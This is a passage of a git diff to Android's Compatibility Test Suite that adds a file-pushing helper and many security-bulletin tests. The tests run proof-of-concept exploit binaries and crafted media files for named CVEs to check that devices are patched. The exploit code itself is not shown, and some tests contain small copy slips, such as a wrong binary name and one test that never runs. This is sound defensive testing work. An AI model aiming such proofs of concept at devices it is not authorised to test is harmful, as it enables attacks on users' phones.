+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+ private ITestDevice device = null;
+ private CompatibilityBuildHelper buildHelper = null;
+ private IAbi abi = null;
+
+ private Set<String> filesToCleanup = new HashSet();
+ public boolean bitness32 = true;
+ public boolean bitness64 = true;
+ public boolean appendBitness = true;
+ public boolean cleanup = true;
+
+ @Override
+ protected void starting(Description d) {
+ bothBitness();
+ appendBitness = true;
+ cleanup = true;
+ }
+
+ @Override
+ protected void finished(Description d) {
+ for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+ String file = it.next();
+ try {
+ CLog.i("Cleaning up %s", file);
+ device.deleteFile(file);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Device unavailable when cleaning up %s", file);
+ continue; // try to remove next time
+ }
+ it.remove();
+ }
+ }
+
+ public PocPusher setDevice(ITestDevice device) {
+ this.device = device;
+ return this;
+ }
+
+ public PocPusher setAbi(IAbi abi) {
+ this.abi = abi;
+ return this;
+ }
+
+ public PocPusher setBuild(IBuildInfo buildInfo) {
+ buildHelper = new CompatibilityBuildHelper(buildInfo);
+ return this;
+ }
+
+ public PocPusher appendBitness(boolean append) {
+ this.appendBitness = append;
+ return this;
+ }
+
+ public PocPusher cleanup(boolean cleanup) {
+ this.cleanup = cleanup;
+ return this;
+ }
+
+ public PocPusher only32() {
+ bitness32 = true;
+ bitness64 = false;
+ return this;
+ }
+
+ public PocPusher only64() {
+ bitness32 = false;
+ bitness64 = true;
+ return this;
+ }
+
+ public PocPusher bothBitness() {
+ bitness32 = true;
+ bitness64 = true;
+ return this;
+ }
+
+ public void pushFile(String testFile, String remoteFile)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ if (appendBitness) {
+ // if neither 32 or 64, nothing would ever be pushed.
+ assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+ String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+ // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+ assumeFalse(bitness.equals("32") && !bitness32);
+
+ // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+ if (bitness.equals("64") && !bitness64) {
+ bitness = "32";
+ CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+ }
+ testFile += bitness;
+ }
+ File localFile = buildHelper.getTestFile(testFile);
+ CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+ device.pushFile(localFile, remoteFile);
+ if (cleanup) {
+ filesToCleanup.add(remoteFile);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0df41b1..2b83077 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -16,6 +16,13 @@
package android.security.cts;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
@@ -24,10 +31,14 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.ddmlib.Log;
+import org.junit.rules.TestName;
+import org.junit.Rule;
import org.junit.After;
import org.junit.Before;
import org.junit.runner.RunWith;
+import java.util.Map;
+import java.util.HashMap;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
import java.util.concurrent.Callable;
@@ -50,6 +61,14 @@
private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
+ @Rule public TestName testName = new TestName();
+ @Rule public PocPusher pocPusher = new PocPusher();
+
+ private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+ private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+ private static Map<ITestDevice, String> sTestName = new HashMap<>();
+ private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
+
/**
* Waits for device to be online, marks the most recent boottime of the device
*/
@@ -62,6 +81,12 @@
// Specifically time when app framework starts
oomCatcher.start();
+ sBuildInfo.put(getDevice(), getBuild());
+ sAbi.put(getDevice(), getAbi());
+ sTestName.put(getDevice(), testName.getMethodName());
+
+ pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+ sPocPusher.put(getDevice(), pocPusher);
}
/**
@@ -103,6 +128,22 @@
}
}
+ public static IBuildInfo getBuildInfo(ITestDevice device) {
+ return sBuildInfo.get(device);
+ }
+
+ public static IAbi getAbi(ITestDevice device) {
+ return sAbi.get(device);
+ }
+
+ public static String getTestName(ITestDevice device) {
+ return sTestName.get(device);
+ }
+
+ public static PocPusher getPocPusher(ITestDevice device) {
+ return sPocPusher.get(device);
+ }
+
// TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
// b/123237827
@Deprecated
@@ -190,7 +231,39 @@
* Check if a driver is present on a machine.
*/
protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- return AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+ boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+ MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+ reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
+ return containsDriver;
+ }
+
+ protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+ IBuildInfo buildInfo = getBuildInfo(device);
+ IAbi abi = getAbi(device);
+ String testName = getTestName(device);
+
+ StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+ int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+ String className = stacktraces[stackDepth].getClassName();
+ String methodName = stacktraces[stackDepth].getMethodName();
+ String classMethodName = String.format("%s#%s", className, methodName);
+
+ // The stream name must be snake_case or else json formatting breaks
+ String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+ MetricsReportLog reportLog = new MetricsReportLog(
+ buildInfo,
+ abi.getName(),
+ classMethodName,
+ "CtsSecurityBulletinHostTestCases",
+ streamName,
+ true);
+ reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+ return reportLog;
}
private long getDeviceUptime() throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index a43163a..d62b086 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -18,6 +18,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
import android.platform.test.annotations.SecurityTest;
import org.junit.Test;
@@ -25,6 +26,9 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
@RunWith(DeviceJUnit4ClassRunner.class)
public class TestMedia extends SecurityTestCase {
@@ -41,12 +45,327 @@
******************************************************************************/
/**
+ * b/37239013
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0697() throws Exception {
+ String inputFiles[] = {"cve_2017_0697.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
+ * b/66969349
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13180() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/111210196
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-12")
+ @Test
+ public void testPocCVE_2019_2228() throws Exception {
+ String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/157650336
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0450() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+ }
+
+ /**
+ * b/156997193
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0409() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0409";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/156999009
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0408() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0408";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/161894517
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0421() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0421";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/132082342
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2133() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+ }
+
+ /**
+ * b/132083376
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2134() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+ }
+
+ /**
+ * b/31470908
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-04")
+ @Test
+ public void testPocCVE_2016_10244() throws Exception {
+ String inputFiles[] = {"cve_2016_10244"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/141890807
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+ }
+
+ /**
+ * b/118372692
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ @Test
+ public void testPocCVE_2019_1988() throws Exception {
+ String inputFiles[] = {"cve_2019_1988.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/36104177
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-09")
+ @Test
+ public void testPocCVE_2017_0670() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+ }
+
+ /**
+ * b/68159767
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13234() throws Exception {
+ String inputFiles[] = { "cve_2017_13234.xmf" };
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/74122779
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-07")
+ @Test
+ public void testPocCVE_2018_9428() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+ }
+
+ /**
+ * b/64340921
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_0837() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/62151041 - Has 4 CVEs filed together
+ */
+ /** 1. CVE-2017-9047
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9047";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 2. CVE-2017-9048
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9048";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 3. CVE-2017-9049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 4. CVE-2017-9050
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/23247055
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2015-10")
+ @Test
+ public void testPocCVE_2015_3873() throws Exception {
+ String inputFiles[] = {"cve_2015_3873.mp4"};
+ String binaryName = "CVE-2015-3873";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/62948670
* Vulnerability Behaviour: SIGSEGV in media.codec
*/
@SecurityTest(minPatchLevel = "2017-11")
@Test
public void testPocCVE_2017_0840() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
processPatternStrings);
@@ -59,6 +378,7 @@
@SecurityTest(minPatchLevel = "2018-02")
@Test
public void testPocCVE_2017_13241() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
processPatternStrings);
@@ -121,6 +441,24 @@
}
/**
+ * b/65540999
+ * Vulnerability Behaviour: Assert failure
+ **/
+ @SecurityTest(minPatchLevel = "2017-11")
+ @Test
+ public void testPocCVE_2017_0847() throws Exception {
+ String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+ if (cmdOut.length() > 0) {
+ String[] segment = cmdOut.split("\\s+");
+ if (segment.length > 1) {
+ if (segment[1].trim().equals("0")) {
+ Assert.fail("mediametrics has root group id");
+ }
+ }
+ }
+ }
+
+ /**
* b/112005441
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
@@ -145,6 +483,21 @@
* existing test methods
******************************************************************************/
+ /**
+ * b/112891564
+ * Vulnerability Behaviour: SIGSEGV in self (Android P),
+ * SIGABRT in self (Android Q onward)
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ @Test
+ public void testPocCVE_2018_9537() throws Exception {
+ String binaryName = "CVE-2018-9537";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
/******************************************************************************
* To prevent merge conflicts, add tests for Q below this comment, before any
@@ -152,12 +505,89 @@
******************************************************************************/
/**
+ * b/143464314
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0213() throws Exception {
+ String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0213",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/166268541
+ * Vulnerability Behaviour: SIGSEGV in media.swcodec
+ */
+ @SecurityTest(minPatchLevel = "2020-12")
+ @Test
+ public void testPocCVE_2020_0470() throws Exception {
+ String inputFiles[] = {"cve_2020_0470.mp4"};
+ String processPatternStrings[] = {"media\\.swcodec"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/120426980
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9362() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-9362";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/112661742
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9308() throws Exception {
+ String inputFiles[] = {"cve_2019_9308.mp4"};
+ String binaryName = "CVE-2019-9308";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/112662995
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9357() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-9357";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/109891727
* Vulnerability Behaviour: SIGSEGV in media.codec
*/
@SecurityTest(minPatchLevel = "2019-09")
@Test
public void testPocCVE_2019_9347() throws Exception {
+ pocPusher.only32();
String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
processPatternStrings);
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 70bf0478..4eb659c 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -201,9 +201,9 @@
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_100, 100);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_101, 101);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_102, 102);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
+ APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
}
@@ -268,14 +268,14 @@
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
bluetoothAdapter.disable();
- sleep(500);
+ sleep(1500);
// Trigger State.RESET so that new state is State.OFF.
if (!bluetoothAdapter.enable()) {
Log.e(TAG, "Could not enable bluetooth to trigger state reset");
return;
}
- sleep(2_000); // Wait for Bluetooth to fully turn on.
+ sleep(3_000); // Wait for Bluetooth to fully turn on.
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 1892f85..f41bd86 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -114,6 +114,7 @@
"com.android.cts.device.statsd.emptyapp";
private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsd";
